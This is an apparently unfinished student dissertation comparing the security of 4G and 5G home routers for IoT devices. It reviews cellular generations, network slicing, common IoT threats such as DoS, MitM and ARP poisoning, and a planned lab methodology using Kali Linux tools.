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[bookmark: _Toc70429257][bookmark: _Toc70545996]Abstract
This research is aimed to create new knowledge and a better understanding towards a specific area relating to cellular networks security and Internet of Thing (IoT), by attacking and using analysing common threats against a 5G network on IoT devices. This work discusses security threats involving 5G home routers, networks from these new cellular standards have been created for the specifications of 5G, based on this a comparison can be create between 4G and 5G. The availability of certain tools gives the ability to distribute multiple attacks for different IoT devices while recording the data. This work began by analysing different attacks, such as Man in the Middle (MitM), Distributed Denial of Service (DoS), Cross-Site Scripting (XSS), Credential Reuse & Phishing. Several attacks were analysed, throughout the research to determine the best attack to continue forward with in testing. After analysing attack started to investigating Internet of Things (IoT), learning, and understanding about the background that situates with this technology that is emerging. Most IoT devices are manufactured independently and do not follow any ecosystems leaving them open to independent vendors securing them. Furthermore, discussion about IoT and how it operates, gives a backing to understanding how the attacks may affect individual components or sections of IoT devices inside of a network.  gives a backing to understanding how the attacks may affect individual components or sections of IoT devices inside of a network.  
The overall aim for this paper was to discover and compare the differences between the standards of a 4G network and a 5G network in a home environment, allowing common threats to attack the networks and record the outcome results. Setting out the predictions of this paper allowed for a predicted outcome but from the findings and research it shows that it is not as what was predicted. The focus on this paper was designing a realistic scenario that would be found in a home environment, from this the data that has been collected shows that an attacker would be beneficial to target a 4G home router over a 5G home router. The outcome of this project was able to be achieved from the research giving enough detail and understanding towards the implementation section for the testing to begin.



[bookmark: _Toc70429258][bookmark: _Toc70545997]Chapter 1 – Project Overview
[bookmark: _Toc70429259][bookmark: _Toc70545998] Introduction
Every year a new generation of technology to give better improvements or to give an overall better experience to its last Generation [8], now countries around the world are experiencing the new deployment of 5G networks, with this latest generation of 5G bringing high amounts of speed and low latency [1,8]. This allows for mobile connectivity to be greater than its predecessor, which was 4G. While 5G is growing in demand, the growth of Internet of Things (IoT) has been developing closely to use cellular networks as a way of being able to expand their application usage, giving these devices a new way of expanding their reach to a larger audience [3,4,5,6].  
This new generation brings enhanced Internet connectivity and allows for it to accommodate the connection of numerous devices through the Internet of things (IoT) architecture. With this new generation comes significant changes thought proceeds to offer difficulty in trying to connect devices into a network that has inadequate security. The security hindrance comes to light from the restricted protection, ease of access, and a lack of updates on the physical devices.
The growth of IoT becoming more accessible to users, the growth of faster connectivity with new networking technology leads to issues within security [8,11]. Every year there are growing reports that show an exponential increase in exploits and attacks on targeted types of devices, this is down to their simplistic security operation, or even with no security being implemented [1,7]. Create easily accessible ways for hackers to take advantage of these exploits leading to stealing or damaging devices. Creating devices security is overlooked and is only ever being addressed when a problem has been located or notified through data breaches [6,7].
For this project, it is proposing research in new & old security frameworks for IoT devices, by providing A layout that can create a secure network for adding and deploying IoT devices in a home [10,11]. The research will explore different IoT devices that can be easily secure by implementing patches for the most common areas that hackers target on these types of devices. Once a solution is establishing, the goal is to showcase the benefits of having secured IoT devices by comparing a secure device and unsecured device against each other.
For the structuring of this report, there will be a detailed section for the technologies that are going to be researched and used throughout this project, furthermore a section will used to talking about how it was designed. There will be a section on the use of the testbed for analysing and getting feedback and results from the live tests. Around the middle of the report, gaining and analysing the feedback from the live test will have a logged record. For the last section of this report will talk about the summarisation of the feedback with an evaluation and a conclusion detailing how the report went and any additional findings, thus will then lead to the security framework that will be recommended with IoT devices on 5G.
1.1 [bookmark: _Toc70429260][bookmark: _Toc70545999] Aim and Objectives 
[bookmark: _Toc70429261][bookmark: _Toc70546000]Aim
The aim of this investigation is to investigate various vulnerabilities on IoT devices and perform various attacks on them using a 4G & 5G networks, with the ability to find and identify security flaws. 
[bookmark: _Toc70429262][bookmark: _Toc70546001]Objectives
Using these objectives laid out step-by-step should guide and assist this report.
· To Research into different areas of 5G and IoT devices and to gather information about security.
· To investigate different types of vulnerabilities that are commonly found within IoT devices over wireless networks.
· To conduct several experimental attacks on various IoT devices
· To analyse and evaluate the outcome from the attacks.

1.2 [bookmark: _Toc70429263][bookmark: _Toc70546002] Structure of The Project
[bookmark: _heading=h.3dy6vkm]The structure of this project is outlined as follows: 
Chapter One is based on background studies of the report; furthermore, containing the aim and objectives that will be outlined through this research, giving a structure that is necessary for a successful outcome.

Chapter Two is based on the literature review and concentrates primarily on background research of this project’s technologies that are going to be used, furthermore looking at additional research papers and books.

Chapter Three contains the methodologies of this project and will be used to give more details towards the objectives of this project, being used as a general discussion for the research design, research methodology and research methods for data collection. This will help to justify the research design in relation to the objectives.

Chapter four is explaining the design and execution that has been selected for the project going through different designs and approaches with justification for the final implementation to be used.

Chapter Five is going to be the testing of the experiments and recording the results.  

Chapter six contains the results of the work and will be presented with a critical discussion. This will cover the findings that were found in the testing, it will show the goals achieved. However, talking about further research areas to investigate in addition to uncompleted work due to time constraints.

Chapter Seven is the last chapter talks about many points that have been made across this project and detail reflections on how this project was conducted and the overall progress of the aims and objectives.

[bookmark: _Toc70429264][bookmark: _Toc70546003]Chapter 2 – Research & Review of Literature
2.1 [bookmark: _Toc70429265][bookmark: _Toc70546004] Introduction
The security of 5G devices is very important to keep users secure, because any single security flaw in a device could enable an attacker to steal sensitive information, control a device or access a network. The latest research from Cisco shows that the next generation of 5G devices are highly vulnerable to IoT threats [13]. Over the last decade many popular large IoT devices have been compromised to a lack of security of manufacture updates, moreover this can lead to exploits from not getting patched, which can cause the system to stop responding or lead to personal information being stolen [22]. This Project will be exploring this vulnerability that is found in IoT devices using 5G., which can cause the system to stop responding or lead to personal information being stolen [22]. This Project will be exploring this vulnerability that is found in IoT devices using 5G.
As 5G is a new emerging technology that is shifting from its predecessor of LTE to a more powerful millimetre-wave radio signal that allows for higher speed and lower latency to be received by the end device. With this comes to a problem with a lack of security being enabled on new IoT devices being setup [21]. These devices are being added to 5G networks around the world having vulnerability for hackers to take advantage. A large majority of hacks are common vulnerabilities that are found to be listed by OWASP Foundation [23, 24]
Over the years there have been plenty of security frameworks created, and some have been updated to more modern standards and rules. For new technologists, a new framework gets created and applied to them. This is the same for IoT and 5G frameworks have been created and set out for all these and will be updated over time, as everything develops [25]. This investigation is going to explore the vulnerability inside a selection of IoT devices [11, 19]. As to why this investigation is important it will create a project to display the importance and need for basic security in IoT devices in homes.by exploring the vulnerability inside a selection of IoT devices [11, 19]. As to why this investigation is important it will create a project to display the importance and need for basic security in IoT devices in homes. As to why this investigation is important it will create a project to display the importance and need for basic security in IoT devices in homes.


2.2 [bookmark: _Toc70429266][bookmark: _Toc70546005]Cellular Networks 
Every decade seems to bring a new generation of cellular networks that offer bigger and better improvements than the last generation, these are mostly the Frequency, Bandwidth, Access System and Technology. The first interaction of the standard launched in 1979. Was analogue, and capable of voice only, in addition to supporting a maximum frequency of 30KHz [26]. There were different technologies used to allow 1G to work, around the world different versions were used; the UK adopted Total Access Communication System (TACS) for its infrastructure.
Over the next decade, the development of the next generation was being designed for its launch in the early 1990s. 2G offers more in its ability to send text messages and give a better secured voice communication. Furthermore, changing from analogue to digital allowed access to the internet, although the speeds were considerably slow, offering a connection of 14 kilobits per second. The supporting frequency at maximum was at 200KHz [29]. With this new generation came new technology standards which was the Global System for Mobile Communications (GSM) that most countries adopted instead of having separate independent standards for countries. D-AMPS, IS-95 were technology standards used at the same time, just not common there was another standard CDMA this was more prevalent in country such as USA & Japan. 
Another decade passed with development of another generation being ready to launch at the beginning of the 2000s, 3G was created to upgrade for faster data transfer rates. with a new wideband wireless network which allowed it to be more coherence. This offered a new services global roaming, moreover it operated with a range of bandwidth from 15-20MHz used for High-Speed Internet Services [26]. They continued using the same technology from its predecessor GSM, but it was improved with an overall better efficiency. This generation uses an upgrade in the technology by operating on W-CDMA. The spectrum that is used is between 400 MHz and 3 gigahertz that was allocated to 3G. The overall improvements 3G offered was faster communication, being able to receive larger messages, video conferences, streaming services [29].
Around the start of the 2010s came for g the Next Generation, this brought a new technology called LTE which stands for long-term evolution. This technology offered the ability to migrate 3G Technologies over UMTS and CDMA2000. Another technology was being developed called WiMAX, but LTE was instead deployed in favour as LTE is a much more efficient technology than its predecessor as it can reduce the latency of transfer rates, another reason for this was due to cost making more affordable for mass deployment [29].  When 4G launched the averaging speed was around 17 Mbps, after some time enhancements were introduced by bringing out new standards of LTE these were LTE-A and LTE-Pro, this allowed the speed to increase as 3G was reduced and the frequencies bandwidth was given to 4G, these could support speeds up to a maximum of 1GB. Unlike its previous generation it had issues when launching to consumers, 4G technology was expensive hardware to buy, and very battery demanding. 4G was a growing technology with users and needed to have high security, so it was built into the infrastructure [29].
[image: ][bookmark: _Toc69253292][bookmark: _Toc70546106]Figure 1 - The development of Technology over the years


5G is currently the latest standard of cellular network technology, compared to the previous generations it is better, more efficient, and more secure. This new technology standard has been able to reach faster speed of over 10Gbps, on average this will give the end user approximately 150Mbps. For this new technology to be used a new standard had to be made, this led to the creation of NR (New Radio), for the 5G network. 3GPP has set this as the standard for the air interface [30]. 
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[bookmark: _Toc70546010]Cellular Network Security 
At the beginning of the development process of 5G it was decided by the standards organisation that 5G would be the first mobile architecture to support specific use cases, meaning it would be allowed to use its own cyber security requirements. This was created to enable IoT applications that are built for massive amounts of data usage in infrastructure to be more secure, for example smart cities will have lots of sensors that will be transmitting data as well as receiving data. It would be crucial to stop hackers accessing this data or hijacking devices to perform denial of service attacks or man-in-the-middle attacks on city sensors [36].
A security solution that 5G designed was the ability for network slicing; this gives the 5G operator the ability to virtualize the network; this allows them to divide a single network connection into multiple virtual connections that can provide different amounts of resources for specific types of data traffic. This new technology is based on existing technology as software defined networking (SDN) and network function virtualisation (NFV) [34]. In combination these two technologies allow for better network flexibility through the ability of partitioning of the network architectures into virtual segments. For 5G, a single physical network can be sliced into multiple virtual networks that can support different radio access networks (RANs) or will be offering different service types running on the RAN. Overall, this will be used primarily to partition the core network up and will be used to implement RAN [35].
Network slicing will maximize the efficiency of 5G networks giving both an optimised utilisation of the infrastructure and allowing the allocation of resources to be distributed evenly. Overall, it will give a greater energy and cost efficiency in comparison to previous generations [35].
This is achieved is by having a set of independent logical network functions that are used to support the requirements of a specific use case. Logical aspect of the network is software-based, from this point the network will be optimised to provide the resources and the network topology for all the specific services that are needed to function correctly. These will be adjusted depending on the requirements each use case requires such as Speed, Connectivity, Coverage, Connectivity. With some exceptional functional components being shared across different network slices depending on use case [36].

2.3 [bookmark: _Toc70429269][bookmark: _Toc70546011]Internet of Things
Every year millions of new devices are connected to the internet around the world with a growing estimation of around 22 billion devices connected to the internet as of 2018, this will continue to grow to an estimated 50 billion by 2030 [33]. Multiple regions around the globe are investing billions into IoT infrastructure, these areas are Europe, North America, and China. With these new infrastructures they are creating Smart Cities, Smart Environments, Smart Grids, Smart Metering, Smart Retail, Smart Farming & Agricultural and Smart home Automation [33]. With this global increase of IoT devices it will also bring the number of machine-to-machine (M2M) connections up from 5.6 billion that was estimated in 2016 to an estimated 27 billion in 2024. This increase brings up a major expanding corner of IoT and the market industry will expand with an increase in the digital economy. This is suggested that the global market expected to grow from 2019 at $212 billion to $1.6 trillion by 2025 [33]. 

With the fast growth of IoT applications comes the issue of security and privacy. IoT devices have a major downside in comparison to cellular networks, Wireless Sensor Network (WSNs) and other technology which are managed and regulated by committees, boards, or associations. IoT does not have its own, therefore there are security challenges that include Authentication Issues, Management Issues, Privacy Issues, and Information Storage. The main issue with IoT devices is there is no framework or ecosystem for new emerging IoT applications to follow which limit the usage and appeal to groups. 

[image: ]
[bookmark: _Toc70546107]Figure 2 - Table of Security for IoT & IT [42]
IoT is classified into three layers: Application Layer, Perception Layer and Network Protocol; this can all be shown in figure 3. 
[image: ]
[bookmark: _Toc70546108]Figure 3 - IoT Classification [42]
2.3.1 [bookmark: _Toc70429270][bookmark: _Toc70546012]Application letter
The application layer is a technology that is commonly used around devices that are constructed with a universal standard built on top of them for manufacturing and production. The situation with IoT is that there is no universal standard on the application layer protocol [41]. With the way that the application layer is structured it can be offered to serve in multiple ways based on the service it is offering, as the application layer is the highest layer and is visible to the end users that are operating these devices. These devices could be used in Smart Cities, Healthcare Systems, Smart Grids and Smart Metres [41]. The most common types of devices that are used are Middleware, M2M2 Communication Protocol, Service Support Platforms & Cloud Computing. With the security, these have issues depending on the industry and the environment that are using the IoT.
2.3.2 [bookmark: _Toc70429271][bookmark: _Toc70546013]Perception layer 
A quick understanding of what the perception layer is split up into two main areas for collecting information the first section is named the perception node and this uses sensors and controllers. The other half is called the perception network that interconnects the internal network layers [43]. Perception layer uses a multitude of different types of sensors such as RFID, Sensor Nodes & Sensor Gateways. With the data that is acquired it is controlled at the perception node while the control instructions that is used for sending and controlling the data that is transmitted is sent from the perception network layer [42].
2.3.3 [bookmark: _Toc70429272][bookmark: _Toc70546014]Network Layer
The network layer provides communication, this transmits information securely and delivers prevent access to environments, this is sent to the perception layer, this is the data transmission and the storage awareness the devices that are used would be mobile phones cloud computing and the internet [44].

2.3.4 [bookmark: _Toc70429273][bookmark: _Toc70546015]Threats and vulnerabilities
Threats and vulnerabilities are a constant concern every year with a rapid increase of hackers gaining remote access to IoT devices, installing malicious software or maliciously stealing and leaking data. If a vulnerability is not detected it can be left open and used to exploit entire systems, the damage this can lead to is a serious threat to the whole network security. As manufacturers of IoT devices primarily focus on potential uses that the device can offer, security becomes an afterthought as it can create a hindrance on the device’s practicality. Some of the biggest threats that can affect IoT devices are common attacks that are used in current day systems still [45]. 

Weak Authentication Mechanisms
Opened occasion mechanisms are in place to allow users to access their accounts via login screens, this method has been around for many years now and has not changed the principal of how it operates, the back end of the security is more encrypted and secure, but they still are hackable [45]. When hackers are trying to gain access to account details the primary method is to start off by using a dictionary attack, hackers would use wordlists to try and gain access to accounts, by using a word list it would act as a password list trying every word until it completed, moving on to a brute-force attack would start of using single letter or digit moving up in length until it succeeds. In most modern-day systems are designed to be more secure with minimum requirements that needed to be met for when setting a password, these are optional decisions that the administrator can choose to enable on the system; Minimum length password, History of password cannot be used, Account can be locked if not used over a set amount of time, Passwords can be expired, Ability for not allowing user IDs to be linked when creating or updating a password [45]. Web services that offer secure logins sometimes give out too much information when incorrect user details have been entered. Incorrect details can result in the database giving back an error that will display information to hackers allowing them to target certain areas to gain access. A type of error that would be returned would be “invalid email” or “incorrect password”, giving too much information out.

Denial of Service Attack
A common threat that would be utilised against IoT devices or potentially using them to create a problem would be a denial-of-service attack. The main intention for this attack is to create disruption for traffic on a targeted device or system by creating slow responses or overwhelming to the point where the system crashes. The most effective versions of this attack use multiple compromised computer systems that individually are sending packets to a destination to flood the incoming data. As the system starts to get overwhelmed with data packets the network will start to slow down as it will be unable to handle the amount of data being processed. The expected result of this is to create traffic jams clogging up the network, preventing regular data from being received at its destination. destination to flood the incoming data. As the system starts to get overwhelmed with data packets the network will start to slow down as it will be unable to handle the amount of data being processed. The expected result of this is to create traffic jams clogging up the network, preventing regular data from being received at its destination. 

Malware
Mirai is a malware that can infect network devices that are running on Linux, this will be operated as a bot that can be remotely controlled as a botnet. This is conducted by attacking insecure IoT devices by scanning the internet of open Telnet ports, once found it will then try attacking with default password or password list. On the 19th of September 2016 the first big attack happened on a hosting company in France called OVH. This attack was targeting systems that were hosting game servers by trying to bring them down. 

Malicious Attacks
Sybil Attacks are a high threat with IoT devices, this is done by using malicious nodes to impersonate an operational IoT node. Once successfully impersonating the identity of a compromised node, an attack will primarily focus on the network’s performance and try to bring it down or slow by flooding channels with false packets to create delays within the system, leaving it inaccessible to users. It will also be eavesdropping on traffic to listen for additional information, and it can fabricate messages [51].

Physical Security of IoT Nodes
Physical hardware is always vulnerable to being tampered with, therefore it is very important that IoT devices that are unattended must have good built-in security and outside ports need to be locked down. If the outside ports are not locked down an intruder can access this through USB or some other ports that are kept open for maintenance [52]. Depending on the IT device, external methods of entry can also include SD cards that can lead to access directly to the operating system or modifying the operating system. With the lack of physical security hardening this can result in two attacks which are node cloning and side channel attacks [52].
‌
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[bookmark: _Toc70546109]Figure 4 - Security Threats in IoT Application Domains [45]
 
Node Cloning was stated earlier in the beginning of the section, that there is no ecosystem or standard that IoT devices follow, this leads to a lack of standards that devices use meaning that certain types of sensor nodes are developed without any hardware tampering proof mechanisms [54]. Unattended IoT devices can easily be replicated and accessed by unauthorised users. Having replicated it nodes though individuals can launch several attacks and with the compromised nodes can have access over the network [54].

Side-channel Attacks are oriented around the side channel information about the devices in encryption. The information that is transferred is plain text or cypher text messages. The attacker is using cryptographic operations to obtain this information.  the information that is trying to be obtained would be processing time, electromagnetic emissions, and power consumption. Once the information has been obtained it will then be used to reverse engineer the cryptographic system that is by using the device [55].

No Energy Harvesting on IoT nodes are more vulnerable to resource exhaustion attacks, from this there are no mechanisms to harvest the energy of low powered IoT nodes. The problems that this can face are attacks that would jam the communication channels causing extensive and authorised utilisation of resources such as bandwidth memory CPU time and disk space. Furthermore, it will lead to having batteries being drained, subsequently more power from IoT nodes fail to supply services to users. Taking advantage of these exploit vulnerabilities will allow the attacker to drain batteries of devices, create sleep deprivation attacks, dos attacks or node outages [56]. 

Battery drainage attacks drain batteries on its device is done by flooding the note with many requests that can end up exhausting the batteries [56].

Node outage - The remaining different forms of attacks that could lead to preventing the edge nodes on the system performing their functions these attacks can lead to battery draining, unauthorised access, sleep deprivation etc [54].



2.4 [bookmark: _Toc70429274][bookmark: _Toc70546016]Slice Isolation on 5G
A paper titled Towards Secure Slicing: Using Slice Isolation to Mitigate DoS Attacks on 5G Core Network Slices was a study on the next generation of mobile communications being rolled out, allowing for service providers to start implementing and carrying out upgrades to the infrastructure. This researcher aims to provide a study to explore network slicing technology, furthermore an investigation of security concerns that are evolving 5G technology Sattar uses a mathematical model that can supply on-demand slice segregation as well as guarantee end-to-end delay for 5G core network slices.
The study reveals that 5G has security challenges involving IT network slicing technology, showing different technologies that are used showing vulnerabilities and exploits that attack can be taken advantage of, with a main attack being DoS Flood [47]. 
 
Other researchers have found different methods or ways of finding a solution. M. A. Javid et al. have worked on 5G artifacts that orients around DOS [48]. Mamolar et al. have used multi-tenant networks to detect DOS in 5G [49]. Furthermore, B. Hussain et al. when down the deep learning path for DOS reduction in 5G [50]. An overall view on different ways that can be used to mitigate DOS attacks. 

Reading through the two authors of the papers there do not contradict them self’s in there finding or questions, moreover the questions that are set out are well addressed, giving a detailed depth of understanding to show what they achieved. The two authors give high eminence of following through their research allowing the reader to comprehend their findings. Furthermore, X. Li, et al [58], found their research to show that they considered both the inter-slice and intra-slice isolation, through simulation and testbed, this gave them an evaluation, that verified complete slice isolation mitigates DoS attacks.

In summary, the article provided an extensive and detailed understanding of their simulation and experiment, this study gives a solid conclusion to DoS attacks and how they are operated on 5G networks and the potential to lead to IoT devices. In addition to this the article also outlines the risks that may occur from unprotected 5G networks. The results were shown to use slice isolation to reduce the impact of attacks that were Distributed denial-of-service attacks. With a combination of experiment testbeds and simulations 4 flooding DOS attacks and slice-initiated attacks with an overall result that completed with a slice isolation provides the best mitigation for these attacks. The research led to an interesting point about bandwidth. An average bandwidth that is available to clients was a fraction of the requested bandwidth that happens when there is no isolation. Furthermore, it did lead to an impact of DOS on average available bandwidth but when their solution was enabled it was minimal [47]. In conclusion the research that was found led to slicing isolation provides better and stronger resource isolation but moreover it does reduce the efficiency of the resource utilisation. as for the inter slice isolation this provides better control with the trade-off between security availability and resource utilisation [47]. 

2.5 [bookmark: _Toc70429275][bookmark: _Toc70546017]ARP Poisoning
Reading W. Gao et al., “ARP Poisoning Prevention in Internet of Things,” 2018. Talks about Address Resolution Protocol (ARP) poisoning attack that can affect IoT devices. The author goes on to talk about how ARP is responsible for resolving an IP address that is corresponding into a MAC address. The author continues to mention that ARP attacks still threaten many Internet of things (IoT) and computer systems [60]. At this point the author start to mention about to finding a method to prevent ARP attacks on IoT Devices, discussing the defence method to be used. To achieve this the author creates a small test bed which involves setting a static IP address in the single-chip microcomputer to MAC address on the Ubuntu device, this will then have the router’s static ARP cache table. Furthermore, the ubuntu machine has been turned in to a monitor that is showing the traffic, this was done by enabling IP forwarding function [60]. After this, tools were used to find and detect attacks using software such as Wireshark. Another tool that was used was arptables to intercept malicious ARP packets [60]. Overall, the method the author used was able to intercepts the attacker’s information & then block the attacks packets to a certain level [60].
[bookmark: _Toc266447542][bookmark: _Toc371255535]Other researchers have found different methods or ways of finding a solution in defending from attacks. P. Zhao et al., “P3: Privacy-Preserving Scheme Against Poisoning Attacks in Mobile-Edge Computing”, talks about Privacy-Preserving Scheme with mobile edge computing [61]. Another paper by P. Sinha et al., “Information Security threats and attacks with conceivable counteraction”, mentions W. Geo research in different forms of attacks and how they can affect the end user [62]. 
The research does a very good job at documenting it experiments, giving it enough detail and understand to follow to recreate. There are diagrams of the framework platform explain the how the ARP attack will work and where it will hit the system. Moreover, the Aim / Object that was created has been answered and giving detailed response to his finding to what there had achieved [60]. 
In summary, the authors approach to this paper was to prevent ARP poisoning specifically in IoT by using software (arptables). The system can catch information of the attacker, moreover its able to filter or block the attacker. The author goes on to talk about IoT is not mature enough, as the technology is not ready. The overall outcome was found multiply devices are capable for monitoring at the same time, by binding IoT nodes Ip Address to the Ubuntu MAC address in routers static ARP table. Lastly, the author talks about adding shell scripts in future to automate and improve manual areas [60].    

2.6 [bookmark: _Toc70429276][bookmark: _Toc70546018]5G Security Challenges
Reading A. Dutta and E. Hammad, “5G Security Challenges and Opportunities: A System Approach,” (2020) offers an insight into the security challenges of 5G. The author talks about the 5G redefining current models of end-to-end connectivity by offering more reliability, this includes security to support the new generation of enabled 5G devices.
5G trustworthiness highlights the importance of embedding security capabilities from the very beginning while the 5G architecture is being defined and standardized. Security requirements need to overlay and permeate through the different layers of the 5G systems (physical, network, and application) as well as different parts of an E2E5G architecture within a risk management framework that considers the evolving security threats landscape. 5G presents a typical use-case of wireless communication and computer networking convergence, where 5G fundamental building blocks include components such as Software Defined Networks (SDN), Network Functions Virtualization (NFV) and the edge cloud. This convergence extends many of the security challenges and opportunities applicable to SDN/NFV and cloud to 5G networks. Thus, 5G security needs to consider additional security requirements (compared to previous generations) such as SDN controller security, hypervisor security, orchestrator security, cloud security, edge security, etc. At the same time, 5G networks offer security improvement opportunities that should be considered. Here, 5G architectural flexibility, programmability and complexity can be harnessed to improve resilience and reliability.

2.7 [bookmark: _Toc70429277][bookmark: _Toc70546019]MITM attack on HTTPS
Reading an online scholarly Journal by the author G. Drago at al., “Man in the middle attack on HTTPS protocol” [70]. Using a HTTP attack which is also known as a man in the middle attack allows the attacker to impose between the user and the computer it communicates with this allows for it to read and even modify the conversations that are taking place. The author of this begins to open about the dangers and the threats that could be perceived with https protocol attacks in this he lists a range of threats from ecommerce banking and online shopping to where this information can be stolen and then starts to go back into the history of HTTPS and where it came from by using SSL certification [70]. 
The author goes on to the concept of a man in the middle attack breaking down how the attack works in detail giving an understanding and an explanation behind the components that are needed to be done too successfully. The author goes on to talk about how the attacker exploits the HTTPS server and sends over a certification with a public key to the web browser if this certification is not trusted then this means that the entire communication path is vulnerable to an attack from this the attacker can replace the original certification the authenticates the HTTPS server with a modified version of the certification allowing for the attacker to successfully. Off the certifications have been modified the browser will be offered a warning from this the user will be able to accept the risk or can leave the website, once the user is accepted then I successful attack has begun. The attacker becomes the gateway and can view all the information being transmitted and is able to modify or hijack the session in active [70].
The MITM attack is done and emitted by modifying the Resolution Protocol (ARP) and the Domain Name System (DNS). ARP poisoning is used on regaining the traffic relayed over a switched LAN network using direct IP forwarding. Provided that ARP requests are communicated; the attacker can read & Learn of other hosts. IP addresses [70].
The Journal does not give any practical evidence for any work that has been achieved, a fair amount of  research has been made into an example of how an experiment can be conducted. From this, taking the information given, modifying it to fit around this projects testing. This will allow for testing of a man in the middle attack to follow an existing example by these researchers. As shown in the evidence of a practical attack the paper does show possibilities of a web-based attack through HTTPS by exploiting some of the properties of common Lan networks .  
In summary this paper does not offer any practical or any evidence for what they are saying but it does offer a vast amount of research and data that could potentially be used for this project and its testing phases as testing this during 4G and 5G or allow for this project to show if amount in the middle attack would work on a 5G network but also taking from what this research has said to being a viable attack.

[bookmark: _Toc70429278][bookmark: _Toc70546020]Chapter 3 – Methodology
The Methodology section discusses the research method and design of the project. The aim of this chapter is to be able to justify any findings towards the research design that is in any form to the objectives of the research. throughout the development of this report the overall design may evolve and change as new understandings and learning develops makeshift be overall design. Referring to the appendices under appendix 1 their flow chart of the process used, it is based on the onion diagram. As well as a diagram of the onion diagram [72].
1. [bookmark: _Toc70433718][bookmark: _Toc70433889][bookmark: _Toc70429279][bookmark: _Toc70546021]
[bookmark: _Toc70546022]The Philosophy 
There will be numerous assumptions made while embarking on this research, there are three different types of philosophy that most studies follow, this study will be using a positivism approach as it offers a study that is more scientific in its results and findings for testing. For this project, a 5G network will be set up with two or three devices connected and will have a laptop trying to disrupt the connection this will be obtained by ensuring the authenticity of the experiment; this will be compared to a previous generation 4G router. Using professional software that security analysts use will allow the experiment to be conducted. This can then lead to collection of data for analysis of the attack that could be used, in showing how previous attacks are effective on current 5G routers.
3.1 [bookmark: _Toc70429280][bookmark: _Toc70546023]The Approaches 
The approach for this report would be using an inductive research method, it starts with the aims and objectives achieved during this research, gathering information, and recording it in the literature review will form the groundwork of this report. Using a laptop with Kali Linux will offer a variety of methods to be used and harnessed. 	In comparison to alternative method as deductive, this starts with an existing theory and not an observation which is best fit for the project.
3.2 [bookmark: _Toc70429281][bookmark: _Toc70546024]The Strategies
To achieve the overall aim of the project, a plan of action is required. This plan involves in-depth research into security hacks involving 5G Architecture as well as various number of IoT devices. From this being able to conduct, where they are used, who they affect and why they are used. To gather this information for this approach using certain site will used to attained research data required, Site that will be used are: Science Direct, IEEE Xplore, Research Gate. This will assist in finding different types of DOS attacks and MITM attacks, gathering more information of these will give a depth of details of knowledge to use. Once the research is completed and collected it will offer a rich and detailed backing of information that will aid in analysis is carried out.
3.3 [bookmark: _Toc70429282][bookmark: _Toc70546025]The Choices
The choice of this method will be using multi methods as it uses two or more qualitative is observed in the experiment.
The operations of this will be using a laptop on which an attack will be carried out against a 5G network. targeting IoT devices connected to the 5G network will allow analysis of the data on them before and after the attacks. This will identify certain vulnerabilities and sets of data that can be collected. From this a report will be generated detailing the outcomes from the experiment. 
After the analysis is completed using the results to identify and review what attacks worked and which ones failed when attacking the IoT devices. Using a checklist to mark off attacks that were successful and unsuccessful will distinguish which attacks to continue with if successful. using the 5G router and altering the settings will give different results and outcomes that may impact the performance or security. This information will be logged, recorded, and analysed in the report.
3.4 [bookmark: _Toc70429283][bookmark: _Toc70546026]The Time Horizons
The approach for the time horizon would be using a cross-section data, these are designed to obtain the information on variables in different contexts but is record it at the same time. Over a short period of time the data is collected, to which is then analysed and interpreted. This will allow for the research study to take snapshots of the ongoing situation with the experiment.
3.5 [bookmark: _Toc70429284][bookmark: _Toc70546027]The Techniques & Procedures
This is the final layer of the research, this is where primary data would be collected alongside with sources of the project, this will lead to analysing and interpreted into results using, screenshots of the testing, video of whether the study was successful or a failure. 
3.6 [bookmark: _Toc70429285][bookmark: _Toc70546028]Conclusion
3.6.1 [bookmark: _Toc70429286][bookmark: _Toc70546029]Hypothesis 
· Devices that are connected to the 5G router will be disconnected from the router rebooting or shutting down, this while the router is being attack with both attacks.
· The Network will continue to operate with no affect or very small affect overall.
3.6.2 [bookmark: _Toc70429287][bookmark: _Toc70546030]Hardware 
The use of hardware for this test requires the use of two 5G enabled devices, one laptop, one 5G enabled router and a 4G enabled router. In combination, these devices will be used for the testing of DOS and MITM attacks. These devices will be logged and recorded with all findings going into a document for analysis. 
3.6.3 [bookmark: _Toc70429288][bookmark: _Toc70546031]Software 
The software that will be used is Kali Linux, this will be the operating system that will be used to run the Linux applications, these applications are including but not limited to bettercap for the MITM Attack and for the DOS attack using auxiliary modules within Metasploit.
3.6.4 [bookmark: _Toc70429289][bookmark: _Toc70546032]The Experiment
The experiment has a lot of challenges to overcome, to solve the problem by testing of 5G router and a 4G router and initiating the same attacks well show either the same or different results, giving an outcome that will answer the question for this research. With the findings of the research, it will allow for the development of a simple framework for 5G routers based upon the experiment results. As for the consistency of this experiment it is used in controlled environment allowing for alterations to be made whilst the experiment is going to allow for better accuracy and to give better feedback and results for reliability. It could also be changed from attack to defence, allowing the routers to have more security put on them to show the level of security protecting the devices connected. 
The experiment using two devices that are connected to a 4G router as well as a laptop running Kali Linux preloaded with software such as Metasploit to initiate attacks on devices connected to the 4G router. The devices would be connected on a 4G SIM that would relay data between the two devices, using very common applications such as web browser versions of social media and video sharing platforms. The laptop will then start to run different attacks that will either try stop the device establishing connection to the network or will try to steal information that is being shared between the browser and the device user, allowing for a man in the middle attack. If the attack is successful and information has been gathered on a 4G device, then the experiment was successful in results prediction. This would then be replicated onto a 5G router with 5G devices using the same attacks and same websites to see if the outcome were the same, if the results are the same then 5G has not improved the security enough on its default settings to be able to prevent these types of attacks. Using  two different routers by separate manufacturers, gives a look at updates and hardware for comparison.

The following chapter will start to explore the designing and implementation stages of the project. It will start to discuss how the design process explores the problems that this project is trying to answer. This will also start to dictate on how these problems are going to be answered looking into the tools and software more in detail, by providing explanations and diagrams to illustrate the path that will be used. Going to the design stage in the next chapter will be talking about the design and implementation, using information from the literature review will help layout the testing. This will be used to justify the design and understanding to why this was used for the final iteration.
[bookmark: _Toc70429290][bookmark: _Toc70546033][bookmark: _Toc70433731][bookmark: _Toc70433902][bookmark: _Toc70429291]Chapter 4 - Design & Implementation 
1. [bookmark: _Toc70546034]
[bookmark: _Toc70546035]Introduction 
This chapter of the project is about designing and implementing the experiment, as well as discussing findings and results. The outcome will be comparing the results of the 4/5G routers from the attacks.  This chapter has been broken down into multiple sections that break up the design area of the project and the implementation area. The first part of this chapter looks at the design and how it can solve the problem of this project as it starts to breakdown the question by outlining the problems that need to be solved. Furthermore, there will be a diagram illustrating a route to solving the problem by illustrating a block diagram. 
4.1 [bookmark: _Toc70429292][bookmark: _Toc70546036]Problem formulation / Design Overview 
